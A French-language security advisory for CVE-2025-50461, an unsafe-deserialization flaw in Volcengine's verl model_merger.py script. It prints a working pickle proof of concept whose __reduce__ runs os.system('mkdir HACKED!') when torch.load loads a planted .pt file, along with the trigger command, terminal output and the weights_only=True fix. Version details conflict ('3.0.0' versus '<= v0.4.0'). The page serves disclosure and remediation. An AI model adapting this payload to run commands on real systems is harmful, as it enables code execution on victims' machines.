
Détails techniques et exploit pour CVE-2025-50461
Statut : RÉSERVÉ
Cet identifiant CVE a été attribué mais n'est pas encore publié dans la liste officielle des CVE.Une vulnérabilité de désérialisation existe dans verl 3.0.0 de Volcengine, spécifiquement dans le script scripts/model_merger.py lors de l'utilisation du backend "fsdp". Le script appelle torch.load() avec weights_only=False sur des fichiers .pt fournis par l'utilisateur, permettant à des attaquants d'exécuter du code arbitraire si un fichier de modèle malveillant est chargé. Un attaquant peut exploiter cela en convaincant une victime de télécharger et de placer un fichier de modèle malveillant dans un répertoire local avec un motif de nom de fichier spécifique. Cette vulnérabilité peut conduire à l'exécution de code arbitraire avec les privilèges de l'utilisateur exécutant le script.
scripts/model_merger.pymalicious.pt)import pickle
import os
class Malicious:
def __reduce__(self):
return (os.system, ("mkdir HACKED!",))
with open("malicious.pt", "wb") as f:
pickle.dump(Malicious(), f)
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
convert_fsdp_checkpoints_to_hfmodels()
File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
return _legacy_load(
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!' Notice.txt TESTS docker examples outputs pyproject.toml requirements.txt scripts test_prime.sh tmp verl.egg-info
LICENSE README.md data docs patches recipe requirements_sglang.txt setup.py tests verl verl_demo.log
La commande mkdir HACKED! est exécutée sur le système de la victime.
weights_only=True, réduisant les risques de désérialisation.weights_only=True lors de l'appel à torch.load.state_dict = torch.load(path, map_location="cpu", weights_only=True)
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2025-50461 |
| Score CVSS | TBD |
| CWE | CWE-502 : Désérialisation de données non fiables |
| Date de signalement | 2025-04-30 |
| Date de divulgation | 2025-08-15 |
| Version concernée | <= v0.4.0 |
| Version corrigée |